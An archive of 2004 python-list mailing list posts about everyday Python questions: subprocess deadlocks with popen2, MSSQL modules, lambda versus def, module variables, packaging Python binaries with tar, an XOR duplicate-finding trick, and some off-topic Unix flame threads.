
From jzgoda at gazeta.usun.pl  Sun Sep  5 13:10:10 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Sun, 5 Sep 2004 17:10:10 +0000 (UTC)
Subject: Linux application deployment
References: <cheog1$ns4$1@atlantis.news.tpi.pl> <413B2D73.3010106@cs.com>
	<chfbpt$q6p$3@nemesis.news.tpi.pl>
	<slrncjmf9a.k9r.grante@isis.visi.com>
Message-ID: <chfh9i$kda$1@nemesis.news.tpi.pl>

Grant Edwards <grante at visi.com> pisze:

>> import sys, os
>>
>> me = os.path.abspath(sys.argv[0])
> 
> That's only mostly reliable.  Nothing in Linux/Unix actually requires that
> argv[0] be the program's path.  It is the convention to pass that as
> argv[0], but there may be corner cases where it doesn't work.

Based on Python docs:

"""
argv

    The list of command line arguments passed to a Python script.
    argv[0] is the script name (it is operating system dependent whether
    this is a full pathname or not). If the command was executed using
    the -c command line option to the interpreter, argv[0] is set to the
    string '-c'. If no script name was passed to the Python interpreter,
    argv has zero length.
"""

http://docs.python.org/lib/module-sys.html

In my opinion, this would be enough to get full path of currently
running program, if run from script. Are there any caveats (except this
"-c" option, which I don't count, as is not relevant in most cases)?

-- 
Jarek Zgoda
http://jpa.berlios.de/


From tim.golden at viacom-outdoor.co.uk  Thu Sep 30 10:06:13 2004
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Thu, 30 Sep 2004 15:06:13 +0100
Subject: python connection to mssql from windows box
Message-ID: <F1921F85572CB04D9F55B14BDC76B3E4434AD5@iron.ima.umn.edu>

[Josh Close]
| I use the Sybase module by object-craft for linux/python connections
| to mssql, and I refuse to use the mssql module due to these things
| listed on the main mssql page... [... snip stuff from web ...]

Your choice indeed. However, I have been using this module
on Windows for three years now across several different
versions of Python and SQL Server and Windows without any 
problems, without a single crash or example of unexpected 
behaviour.

Obviously you know your own needs better than me, but
for my needs the absence of params means %-ing params
into the string, the absence of callproc means passing
"EXECUTE ..." into the execute method and the absence
of commit/rollback means passing "COMMIT" into the execute
method, none of which I find overly cumbersome, especially
since I can (and do) easily wrap them in a helper module.

| So basically it *kind of* works, but not well. I'm talking about
| native windows module that uses the client tools api.

Not entirely sure what you mean by a "native windows module" -- if
you mean something supplied my Microsoft, then ADO / ODBC are your
only bets. If you simply mean something which calls into ntwdblib.dll
to access MSSQL, well this module does that.

There is also a pymssql at http://pymssql.sourceforge.net/ which
I downloaded recently but couldn't get to connect. However someone
else on this list seemed pleased with it at the time, IIRC.

TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
http://www.star.net.uk
________________________________________________________________________


From hercules.rockefeller at springfield.??.us  Mon Sep 27 15:22:25 2004
From: hercules.rockefeller at springfield.??.us (Rembrandt Q Einstein)
Date: Mon, 27 Sep 2004 15:22:25 -0400
Subject: Trouble with popen2
In-Reply-To: <0DZ5d.6$Za.5@llslave.llan.ll.mit.edu>
References: <0DZ5d.6$Za.5@llslave.llan.ll.mit.edu>
Message-ID: <RLZ5d.7$Za.3@llslave.llan.ll.mit.edu>

Rembrandt Q Einstein wrote:
> I am running an external command and I need to know a) when it is done 
> and b) what it wrote to both stdout and stderr.  After a little 
> searching, I found the popen2 module and used the Popen3 class.  I'm 
> having trouble with it hanging, though.
> 
> Here is a very well put (by someone else) posting that describes some 
> background:
> 
> http://mail.python.org/pipermail/python-list/2004-July/230837.html
> 
> I came to a similar conclusion as that poster and his workaround 
> (independently discovered by me) does do the job he requires.  However, 
> I need to also read stderr, so I made this sample writer and runner:
> 
> -------
> #!/usr/bin/python
> 
> import sys
> 
> for line in range(0, int(sys.argv[1])):
>     print "X" * 120
> 
> print >>sys.stderr, "hi"
> -------
> #!/usr/bin/python
> 
> import popen2
> 
> f = popen2.Popen3("./writer.py 50000", True)
> outs = []
> errs = []
> while (f.poll() == -1):
>     errs += f.childerr.readlines()
>     outs += f.fromchild.readlines()
> -----
> 
> 
> This hangs in the childerr.readlines().  Is it blocking?  If so, why? In 
> any case, how can I be sure to read ALL data from BOTH stderr and stdout 
> and not be in danger of hanging?
> 
> 
> PS: I just found that if I swap the order of the readlines() statements, 
> it works.  But I don't want to use that until I understand why.  I 
> suspect it's a race condition and I don't want to rely on that.

It's possible that when I have child.readlines() first, it consumes all 
50000 output lines and then err.readlines() grabs the "hi" and it just 
exists.  When I have them the other way, err.readlines() blocks (I 
thought readlines() was non-blocking, though) and it just hangs.

My real external program isn't nice enough to order the output like 
that, so here's a more realistic writer:

-------------
#!/usr/bin/python

import sys
import math

for i in range(0, int(sys.argv[1])):
     if math.fmod(i, 100) == 0:
         print >>sys.stderr, "hi"
     print >>sys.stdout, "X" * 120
----

The challenge is to write a program that will run this one in a 
subprocess and read all of both stderr and stdout.


From nobody at hotmail.com  Fri Sep 24 17:43:29 2004
From: nobody at hotmail.com (Maboroshi)
Date: Fri, 24 Sep 2004 14:43:29 -0700
Subject: Open Education in Python
Message-ID: <10l959t466bgde8@corp.supernews.com>

Hi I was interested in starting an online open education center focusing 
on the Python language. This center would consist of beginning to 
advanced computer science courses using the programming language Python 
its primary goal would be to create a community of students and teachers 
who actively discuss in newsgroups write articles give online lectures 
and more.

How it would work: It would work on a what you put into the community is 
what you get out of it bases. No money would be collected

This has not been entirely thought out as I am just putting the feelers 
out and want to see what the python community thinks about it.

Any ideas questions comments should be addressed to

maboroshiATdccnetDOTcom

or posted to this message

Cheers

Andrew


From steve at holdenweb.com  Mon Sep 20 07:33:51 2004
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 20 Sep 2004 07:33:51 -0400
Subject: MAC address
In-Reply-To: <mailman.3553.1095679406.5135.python-list@python.org>
References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au>	<200409201005.25963.heikowu@ceosg.de>
	<mailman.3553.1095679406.5135.python-list@python.org>
Message-ID: <Uhz3d.27317$ni.11564@okepread01>

Ajay wrote:
> Quoting Heiko Wundram <heikowu at ceosg.de>:
> 
> 
[...changing MAC address under Linux ...]>
> 
> thanks
> its actually windows that i would like to find out about.
> what i am trying to do is to anonymize client address by picking a random
> MAC address and using that instead
> 
You do understand, I presume, that your MAC address never travels off 
your LAN anyway? When packets are routed to other networks they will be 
encapsulated by other devices, so while the IP (network-layer) 
addressing remains the same over all hops, the originating device's MAC 
address is removed the first time the packet is routed.

regards
  Steve


From claird at lairds.us  Sun Sep 19 17:08:08 2004
From: claird at lairds.us (Cameron Laird)
Date: Sun, 19 Sep 2004 21:08:08 GMT
Subject: Determining if a client PC has an Internet connection
References: <mailman.3489.1095578305.5135.python-list@python.org>
	<lXb3d.1271$9l1.106@trndny09>
	<mailman.3498.1095589265.5135.python-list@python.org>
Message-ID: <0q7122-0q3.ln1@lairds.us>

In article <mailman.3498.1095589265.5135.python-list at python.org>,
Cliff Wells  <clifford.wells at comcast.net> wrote:
>On Sun, 2004-09-19 at 09:03 +0000, Chris S. wrote:
			.
			.
			.
>So... is there a way of determining the DNS search path of a PC?
			.
			.
			.
This, like everything else in the current thread, will end up
being more heuristic than definitive; worse, it's OS-specific.
I hope the comp.protocols* experts can answer more precisely
than I.


From bhk at dsl.co.uk  Fri Sep  3 21:40:26 2004
From: bhk at dsl.co.uk (Brian {Hamilton Kelly})
Date: Sat, 04 Sep 2004 02:40:26 +0100 (BST)
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch>
	<87hdqptl96.fsf_-_@thalassa.informatimago.com>
	<4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<slrncjep0f.oa.amajorel@vulcain.knox.com>
	<opsdpprvxppqzri1@mjolner.upc.no>
	<slrncjf52a.oa.amajorel@vulcain.knox.com>
Message-ID: <20040904.0140.57670snz@dsl.co.uk>

On Thursday, in article
     <slrncjf52a.oa.amajorel at vulcain.knox.com> amajorel at teezer.fr
     "Andre Majorel" wrote:

> Are you arguing that the stability comes from the API, not from
> the implementation ? If so, why has NT become more stable over
> the years, since its API has not changed ?

I'd like to imagine that it's because there are fewer fuckwits using it;
BICBW....

-- 
Brian {Hamilton Kelly}                                     bhk at dsl.co.uk
   "I don't use Linux. I prefer to use an OS supported by a large multi-
   national vendor, with a good office suite, excellent network/internet
   software and decent hardware support."


From steven.bethard at gmail.com  Fri Sep 17 03:46:12 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Fri, 17 Sep 2004 07:46:12 +0000 (UTC)
Subject: "Updating" lambda functions
References: <2qtl0oF139gn6U1@uni-berlin.de>
	<mailman.3428.1095385637.5135.python-list@python.org>
	<Eps2d.28226$%S.369@pd7tw2no>
Message-ID: <loom.20040917T094004-902@post.gmane.org>

Elaine Jackson <elainejackson7355 <at> home.com> writes:
> 
> "Terry Reedy" <tjreedy <at> udel.edu> wrote in message
> news:mailman.3428.1095385637.5135.python-list <at> python.org...
> 
> | I am curious if there is any reason other that habit carried over from
> | other languages to not write the above as
> |
> | def fu(x): return x
> | def fu(x): return fu(x) + 17
> | etc
> 
> In my interpreter (IDLE 1.0 on Windows 98) it causes an infinite regress.

Yes, it will, exactly as the lambda version would have.  (And all the 
solutions suggested to you for the lambda form are equally applicable to the 
def form.)  The question is why use the lambda form when you *do* want to bind 
your function to a name?  Basically,

f = lambda args: body

is equivalent to

def f(args): body

except that the def body is a set of statements (so you have to use 'return'), 
and the lambda body is a single expression.

Not that it's coming any time soon, but Python 3000 is supposed to remove 
lambda functions, so when you really *do* want to bind a function to a name 
(like in your case here), it would probably be a good habit to get into to use 
defs instead.

Steve



From jeff at ccvcorp.com  Wed Sep  8 17:37:29 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Wed, 08 Sep 2004 14:37:29 -0700
Subject: Variable passing between modules.
In-Reply-To: <mailman.3057.1094675679.5135.python-list@python.org>
References: <mailman.3057.1094675679.5135.python-list@python.org>
Message-ID: <10juuqfdp6121a@corp.supernews.com>

Golawala, Moiz M (GE Infrastructure) wrote:

>Hi All, 
>
>I want to pass a value between 2 modules. Both the modules are scripts (no classes involved). Does anyone know how I can do that. For eg:
>
>in module1 
>
>
>if __name__ == '__main__':
>	someVar = 'hello'
>	import module2
>
>
>in module 2
>
># here I would like to use someVar
>print someVar
>
>  
>


The best way to do this is to put your module2 code inside a function, 
and simply call that function with someVar as an argument. 

--- module2.py -----

def go(somevar):
    print somevar

--- module1.py -----
import module2
somevar = "hello"
module2.go(somevar)

It *is* possible to insert a variable into another module's namespace, 
like so:

import module2
module2.somevar = somevar

However, this won't accomplish what you want, because all of the code in 
module2 is executed when you import module2.  If that code is all def 
statements, then you've created a bunch of functions that can be used 
later; however, if that code is all module-level imperative code, as you 
seem to be showing in your example, then it's all been executed by the 
time that module1 returns from the import statement.  Inserting a 
variable into module2's namespace *will* let you use that variable as a 
global in any function in module2, but this has all of the drawbacks 
that globals always have plus a few more (tight coupling with module1, 
the potential to mistakenly think that rebinding module2.somevar will 
also rebind module1.somevar, etc)...

Jeff Shannon
Technician/Programmer
Credit International



From mj-usunto at tkb.pl  Tue Sep  7 17:37:09 2004
From: mj-usunto at tkb.pl (Marcin Jurczuk)
Date: Tue, 7 Sep 2004 21:37:09 +0000 (UTC)
Subject: Deleting rows using PyDO from SkunkWeb
References: <cg2719$c8$1@korweta.task.gda.pl>
	<73d143a0.0409070752.26795880@posting.google.com>
Message-ID: <chl9m5$red$1@korweta.task.gda.pl>

On 2004-09-07, Jacob Smullyan <smulloni at gmail.com> wrote:
> Marcin Jurczuk <mj-usunto at tkb.pl> wrote in message news:<cg2719$c8$1 at korweta.task.gda.pl>...
>
> But to answer it quickly -- the delete() method deletes a particular
> instance (one row).  If you want delete a range of rows with a single
> SQL statement, the best way is simply to use SQL, accessing the
> underlying db connection:
>
>   c=Sessions.getDBI().conn.cursor()
>   c.execute("DELETE FROM SESSIONS WHERE acc_time < '333333'")
>   # this is equivalent to Sessions.getDBI().conn.commit()
>   Sessions.commit()
>
> Hope that helps,
>
> Jacob Smullyan
Thx - I've wrote my own class to access SQL because it was faster than
searching answer for PyDO.
Next time will help :)


-- 
Marcin Jurczuk, NIC-HDL: MJ1679-RIPE


From tka at poi.sta.kungens.kemi.fi.invalid  Tue Sep 21 07:49:26 2004
From: tka at poi.sta.kungens.kemi.fi.invalid (Toni Kantola)
Date: Tue, 21 Sep 2004 11:49:26 +0000 (UTC)
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<10ksur1ou8hb777@corp.supernews.com>
	<2rafspF17n18jU1@uni-berlin.de>
Message-ID: <slrncl05jr.3e9.tka@kungens.kemi.fi>

In article <2rafspF17n18jU1 at uni-berlin.de>, RPM1 wrote:
> 
> "Tom Cocagne" <rakis at gmpexpress.net> ...
> 
>> There ARE sound IDEs
>> available for Python. Perhaps you should be asking why they aren't that
>> popular. Three possibilities come to mind 1) Python developers are just
>> plain stupid. Even though they know that quality IDEs exist and would
>> increase their produtivity, there just too dumb to use them. 2) Quality
>> IDEs exist and Python developers don't know about it. And 3) Python
>> developers are aware of the existence and capabilities of these IDEs and
>> just don't feel the need for them.
>>
> 
> I've been tinkering  with Python for a long time now, (~8 years),  and the
> lack of a standard GUI designer is annoying, (albeit a minor annoyance).  I
> myself don't care for any of the existing GUI designer packages, so I just
> code my GUI's without one.
> 
> I do notice though that when I try to convince a co-worker to try Python,
> the thing that seems to be the biggest turn off is the lack of an IDE with a
> GUI designer included standard.  I guess my point is that the lack of a
> standard GUI designer is not going to bother people who know Python, but it
> will prevent some, (perhaps many), outsiders from ever knowing Python
> because they can't imagine programming without the IDE/GUI designer.  I know
> there are GUI designers available, but by the time you begin to tell
> somebody that, they're already shaking their head and walking away.

And you haven't tried kdevelop with qtdesigner?
Or some similar combination of GTK-based IDEs/tools?

-- 
This is my .sig. There are many like it, but this one is mine.
My .sig is my best friend.
It is my life. I must master it as I must master my life.
Without me, my .sig is useless. Without my .sig, I am useless.


From gerrit at nl.linux.org  Mon Sep 13 03:06:19 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Mon, 13 Sep 2004 09:06:19 +0200
Subject: Problems with subclassing
In-Reply-To: <ci1u2g$n00@odah37.prod.google.com>
References: <ci1u2g$n00@odah37.prod.google.com>
Message-ID: <20040913070619.GA18344@nl.linux.org>

Alexander Stante wrote:
> I have the following problem. I want to subclass from the pygame class
> Surface, but I can't get it working:
> 
> class sprite(Surface):
> def __init__(self, image_array, palette):
> "some code here"
> 
> when I want to create a instance with:
> 
> gfx.sprite(arrayi, palette)
> 
> 
> I get the following error message:
> TypeError: argument 1 must be sequence of length 2, not 100
> 
> It seems that the constructor of Surface is not overrided by the one in
> sprite, but why?

I think you want to override __new__, not __init__, if if could be
working at all that is. GvR wrote a lengthy introduction to this (among
other things) when Py 2.2 was released: google for "descriptor" and it
should end up somewhere.

It's also possible that Surface is not a viable baseclass at all. You
may want to consult the Pygame mailing list about that.

yours,
Gerrit.

-- 
Weather in Twenthe, Netherlands 13/09 08:25:
	14.0?C Broken clouds mostly cloudy wind 4.5 m/s S (57 m above NAP)
-- 
Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL.
Experiences with Asperger's Syndrome:
	EN http://topjaklont.student.utwente.nl/english/
	NL http://topjaklont.student.utwente.nl/


From harry.g.george at boeing.com  Tue Sep 21 09:20:02 2004
From: harry.g.george at boeing.com (Harry George)
Date: Tue, 21 Sep 2004 13:20:02 GMT
Subject: Python binaries for Solaris, HP-UX
References: <uk6urzzse.fsf@yahoo.co.uk> <doet12-868.ln1@valpo.de>
	<uisab1stx.fsf@yahoo.co.uk> <973u12-rta.ln1@valpo.de>
	<u3c1eqvxd.fsf@yahoo.co.uk> <46d022-k59.ln1@valpo.de>
	<uoek0logq.fsf@yahoo.co.uk> <chq322-6k7.ln1@valpo.de>
Message-ID: <xqx1xgvrc71.fsf@cola2.ca.boeing.com>

Mathias Waack <M.Waack at gmx.de> writes:

> Paul Moore wrote:
> 
> > Ah! That's the thing I needed. Thanks for your patience - I'll go
> > and try it out.
> 
> Please let us know if it works. I've installed only very small
> packages like libxml this way. Would be interesting for other people
> with the same problem...
> 
> Mathias

I've done this for python installs on Solaris, AIX, and IRIX.  

1. Build up the system on a master box, complete with add-ons in
site-packages.  Can do this in any dirroot, but lets assume
/usr/local.  

2. Part of the buildup is to make a shell script /usr/local/bin/py23:

  export LD_LIBRARY_PATH=/usr/local/lib:${LD_LIBRARY_PATH}
  /usr/local/bin/python2.3 "$@"

3. Make a tar file with

  cd /
  gtar zcvf /usr/local/src/python/py23.tgz \
  /usr/local/include/python2.3 \
  /usr/local/lib/python2.3 \
  /usr/local/bin/py23 \
  /usr/local/bin/python2.3 \
  /usr/local/bin/pychecker \
  /usr/local/bin/pydoc \
  (etc.)

If you have additional required lib or share entries (e.g., for GTK),
add those to the tarball.

4. Untar this in a /usr/local on another box.  Set the PATH to
include /usr/local/bin.   Use it by entering "py23".

5. CAVEAT: This assumes the cloned box has all the needed dynamic
   libraries as the original box.  May have to experiment before you
   get all the dependencies into your tarball.




-- 
harry.g.george at boeing.com
6-6M21 BCA CompArch Design Engineering
Phone: (425) 342-0007


From jjl at pobox.com  Mon Sep 20 16:20:55 2004
From: jjl at pobox.com (John J. Lee)
Date: 20 Sep 2004 21:20:55 +0100
Subject: bad data from urllib when run from MS .bat file
References: <414cb56d$0$58900$75868355@news.frii.net>
	<87acvmxayq.fsf@pobox.com>
	<414e40a1$0$58900$75868355@news.frii.net>
Message-ID: <87zn3kzo7s.fsf@pobox.com>

"Stuart McGraw" <smcg4191 at frii.RimoovThisToReply.com> writes:
> "John J. Lee" <jjl at pobox.com> wrote in message news:87acvmxayq.fsf at pobox.com...
[...]
> > Just a guess
[...]
> Did you try doing that?

No.  It was a guess.


[...]
> That would be surprising to me given that urllib is shipped with the
> Python distribution, I would think that any core libs would be pretty
> bombproof.  (Am I being naive? :-)
[...]

Possibly:

http://article.gmane.org/gmane.comp.python.devel/63911


But I have a fairly strong suspicion that this *isn't* a bug in urllib
or Python: I think urllib regards HTTP response data simply as a
binary string (as opposed to the case of URLs, where things are... uh,
complicated).

*I'm* certainly more naive about encodings, character sets &c. than
any Python module, though <wink>...


> Of course, still possible I hosed 

Yes, that's possible :-)


John


From timr at probo.com  Fri Sep  3 02:29:57 2004
From: timr at probo.com (Tim Roberts)
Date: Thu, 02 Sep 2004 23:29:57 -0700
Subject: Diffs for HTMLgen
References: <41358497$0$30040$e4fe514c@dreader13.news.xs4all.nl>
Message-ID: <1n3gj0dascmdp04n1mcenopj6bf9sehdt4@4ax.com>

Andre van der Vlies <andre at vandervlies.xs4all.nl> wrote:
>
>I've made some (minor) adjustments to HTMLgen. I added a 'style' option for
>(form)buttons and a 'valign' option for table(cells)....

I added 'wrap' to Textarea in my copy.  As long as you're fixing it...
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From ajsiegel at optonline.com  Thu Sep  2 13:06:53 2004
From: ajsiegel at optonline.com (Arthur)
Date: Thu, 02 Sep 2004 17:06:53 GMT
Subject: Are decorators really that different from metaclasses...
References: <loom.20040825T004528-605@post.gmane.org>	<412C09B4.5070106@yahoo.com>	<loom.20040825T055456-468@post.gmane.org>	<mailman.2346.1093432824.5135.python-list@python.org>	<b8ad139e.0408251248.1bc0d7bf@posting.google.com>	<cgj8f5$t1b$1@sea.gmane.org>	<e69d3ed2040826003171d312fc@mail.gmail.com>	<412D9F1E.6000809@yahoo.it>	<mailman.2413.1093518357.5135.python-list@python.org>	<nfnri09co3gbg56uoa61h769bh3n5oulqr@4ax.com>	<mailman.2423.1093527121.5135.python-list@python.org>	<ietri01h4lg9juja87vl02v8pa7hbh6u3o@4ax.com>	<e69d3ed204082607536abfa65c@mail.gmail.com>	<cgkuf9$ehg$1@sea.gmane.org>	<e69d3ed204082608183634bab@mail.gmail.com>	<cglg26$ehg$3@sea.gmane.org>	<e69d3ed2040827083448c31d45@mail.gmail.com>	<mailman.2548.1093646396.5135.python-list@python.org>	<cgosmb$ki0$0$216.39.172.122@theriver.com>	<mailman.2562.1093697125.5135.python-list@python.org>	<e69d3ed2040	<HBF.20040901iia9@bombur.uio.no>
	<mailman.2743.1094082018.5135.python-list@python.org>
	<10jcsuh7k4bfl41@corp.supernews.com>
Message-ID: <NqIZc.2514$Wv5.1795@newsread3.news.atl.earthlink.net>


"Jeff Shannon" <jeff at ccvcorp.com> wrote in message
news:10jcsuh7k4bfl41 at corp.supernews.com...
> (I'm sure that you'll argue that the presence of those "magic" variables
> is enough distinction between the two radically-different blocks of
> code; I'm also pretty confident that very few people will agree with
> you, and that nobody with a reasonable understanding of Python internals
> will be among those few people.)

It seems to me if the defining distinction is a different assignment
operator rather than magic associated with naming, then much of objections I
am hearing to what Paul is generally suggesting seems to fall away.

I like what Paul Rubin suggested for decorators:

::

It seemed to me that many folks, and certainly including some sophisticated
users - witness the decorator wiki - felt more than comfortable with some
declarative/definitional syntax within the function body.  The discussion
was stalled mostly by the realization that Guido had definitively ruled it
out, not on the basis that there was general concensus that the approach had
no appeal - intuitive and otherwise.

Art




From tim.peters at gmail.com  Mon Sep 20 01:07:03 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Mon, 20 Sep 2004 01:07:03 -0400
Subject: Math errors in python
In-Reply-To: <70b3d.1822$uz1.747@trndny03>
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<pan.2004.09.19.13.27.17.613143@jerf.org> <Ooa3d.318$Pz3.245@trndny01>
	<mailman.3490.1095579571.5135.python-list@python.org>
	<70b3d.1822$uz1.747@trndny03>
Message-ID: <1f7befae04091922074718da2b@mail.gmail.com>

[Chris S.]
> Sqrt is a fair criticism, but Pi equals 22/7, exactly the form this
> arithmetic is meant for.

That's absurd.  pi is 3, and nothing but grief comes from listening to
fancy-pants so-called "mathematicians" trying to convince you that
their inability to find integer results is an intellectual failing you
should share <wink>.


From http  Wed Sep 15 17:51:49 2004
From: http (Paul Rubin)
Date: 15 Sep 2004 14:51:49 -0700
Subject: Random Instance generation
References: <494182a9.0409141247.608d365f@posting.google.com>
Message-ID: <7xhdpz19qi.fsf@ruckus.brouhaha.com>

balaji at email.arizona.edu (Balaji) writes:
> I want to generate say 100 random instance of it...
> 
> How can I do that....
> 
> I want the instance name to be like a1, a2, a3...

You almost certainly want to use an array instead of all those a1,a2,... .


From roo at try-removing-this.darkboong.demon.co.uk  Thu Sep  2 16:42:57 2004
From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott)
Date: Thu, 02 Sep 2004 21:42:57 +0100
Subject: Xah Lee's Unixism
In-Reply-To: <e00fj09ic603q3acjdea0bj5sp1v37f11p@4ax.com>
References: <41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<slrncjep0f.oa.amajorel@vulcain.knox.com>
	<opsdpprvxppqzri1@mjolner.upc.no>
	<9pqej0tjtikajsa74c7a5el7quk49k053s@4ax.com>
	<1094153294.416994@teapot.planet.gong>
	<e00fj09ic603q3acjdea0bj5sp1v37f11p@4ax.com>
Message-ID: <1094157775.808540@teapot.planet.gong>

Alan Balmer wrote:
> On Thu, 02 Sep 2004 20:28:16 +0100, Rupert Pigott
> <roo at try-removing-this.darkboong.demon.co.uk> wrote:
> 
> 
>>Alan Balmer wrote:
>>
>>
>>>Huh? Linux is only recently paying some attention to the POSIX
>>>standards. I don't know the current level of compliance, though I'm
>>
>>Nah, that's been going on since at least 1994 when I installed it.
>>
> 
> That's what I mean - it's been (and is still) "going on." It ain't
> soup yet., and only recently (imo) has it been taken seriously. I
> think pthreads were the defining point for me.

PThreads is considered to be a tar-pit by far wiser people than I,
so I can't blame folks for being behind the curve on this regard.

> It is certainly not the case that Linux was written by following the
> POSIX "recipe."

I think it's fair to say it was. As I'm sure you know : Back in the
early 90s you had two main flavours of UNIX, BSD & SYSV (still do I
guess). Where there was any disagreement Linux generally went for
the third flavour, namely POSIX...

The differences showed when you used a true BSD or a true SYSV box.
There also used to be quite a few references in the man pages and
includes. Maybe this has changed, it's been a while since I cared
enough. :/

Cheers,
Rupert



From albalmer at att.net  Thu Sep  2 16:29:45 2004
From: albalmer at att.net (Alan Balmer)
Date: Thu, 02 Sep 2004 13:29:45 -0700
Subject: Xah Lee's Unixism
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
Message-ID: <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>

On Thu, 02 Sep 2004 15:38:15 -0400, Peter Hansen <peter at engcorp.com>
wrote:

>CBFalconer wrote:
>
>> Peter Hansen wrote:
>>>Brian {Hamilton Kelly} wrote:
>>>>wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org "SM Ryan" wrote:
>>>>>There's a story about why railroad tracks are spaced the way they are.
>>>>
>>>>Is this the one about two Roman horses' arses?  If so, it also accounts
>>>>for the physical dimensions of the Space Shuttle's boosters.
>>>
>>>A quick search using Google will show that while there is a
>>>certain amount of truth in the original story, most of the
>>>details are wrong, and the final bit about the booster rockets
>>>is unsubstantiated.  But it's still a cute story.
>> 
>> I know nothing about those stories, but it seems reasonable to me
>> that the boosters would have been designed to be transportable by
>> railroad, which ties their dimensions to track gauge.
>
>You know, it's really rather helpful when people take the time to
>read the things they are trying to discuss, since quite often
>those things end up answering questions that those people
>might have.
>
>See the snapes.com article that Dave Hansen (no relation) posted
>for more... and a response to your reasonable thoughts above.
>
The shuttle boosters are 3.7m diameter. Quite a bit larger than the
gage of any railroad I've ever seen.

More than you ever wanted to know:
http://encyclopedia.thefreedictionary.com/Space%20Shuttle%20Solid%20Rocket%20Booster

-- 
Al Balmer
Balmer Consulting
removebalmerconsultingthis at att.net


From tim.peters at gmail.com  Mon Sep 20 16:11:50 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Mon, 20 Sep 2004 16:11:50 -0400
Subject: need help defining Constant memory requirement
In-Reply-To: <200409201020.33427.heikowu@ceosg.de>
References: <d3be1825.0409182100.612a5dcb@posting.google.com>
	<mailman.3507.1095603871.5135.python-list@python.org>
	<d3be1825.0409191328.458dc60b@posting.google.com>
	<200409201020.33427.heikowu@ceosg.de>
Message-ID: <1f7befae040920131118bf3a75@mail.gmail.com>

[Jani Yusef]
>> Got it!! Thanks for your help.
>> Here is my revised and working code
>>             i=[1,2,3,4,5,6,3]
>>             s0=len(i)*(len(i)+1)/2
> >             s1=0
>>             for a in i:
>>                 sum1+=a
>>             return (sum1-sum0)%len(i)
>> I think my main malfunction was with thinking that this was mor
>> ecomplex tna it was. By refocusing on the simple problem statement as
>> suggested the solution came easier. Thanks again.
 
[Heiko Wundram]
> Well, actually, as Tim Peters already said, the function really isn't O(1) in
> space requirement, because len(i) and sum(i) grow with O(log(n))... But okay,
> probably your instructor just overlooked this...

FYI, I had in mind a different (albeit related) solution, which
doesn't require more bits in "a word" than are needed to hold n-1;
assuming the integer n-1 takes O(1) space, then so does this approach:

def finddup(iterable):
    result = 0
    for i, x in enumerate(iterable):
        result ^= i ^ x
    return result

Then, e.g.,

>>> N = 100000
>>> import random
>>> ints = range(1, N)
>>> dup = random.choice(ints)
>>> dup
43816
>>> ints.append(dup)
>>> random.shuffle(ints)
>>> finddup(ints)
43816
>>>

Of course holding n**2 takes O(1) space too, but in most languages
requires faking double-precision integer arithmetic.  Basing the
reduction instead on that a collection of ints xor'ed with itself
yields 0 allows getting away with single-precision operations.


From martin at v.loewis.de  Fri Sep 10 17:04:31 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 10 Sep 2004 23:04:31 +0200
Subject: Dynamic Linking Problems with Intel Compiler
In-Reply-To: <5ea262fa.0409100854.efe9fe@posting.google.com>
References: <5ea262fa.0409100854.efe9fe@posting.google.com>
Message-ID: <414216d2$0$18984$9b622d9e@news.freenet.de>

Jeff Hagelberg wrote:
> Has anyone have any suggestions as to what I need to do to the the
> dynamic linking to work properly?

You need to pass the -export-dynamic flag to the linker that links
in the embedded Python interpreter. When linking with gcc, this
is achieved through -Xlinker -export-dynamic; whether this works
for ifort as well, I don't know.

Regards,
Martin


From peacock at simconv.com  Sat Sep 11 17:51:56 2004
From: peacock at simconv.com (Jack Peacock)
Date: Sat, 11 Sep 2004 14:51:56 -0700
Subject: Xah Lee's Unixism
References: <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<4139561C.F52D4E4@yahoo.com>
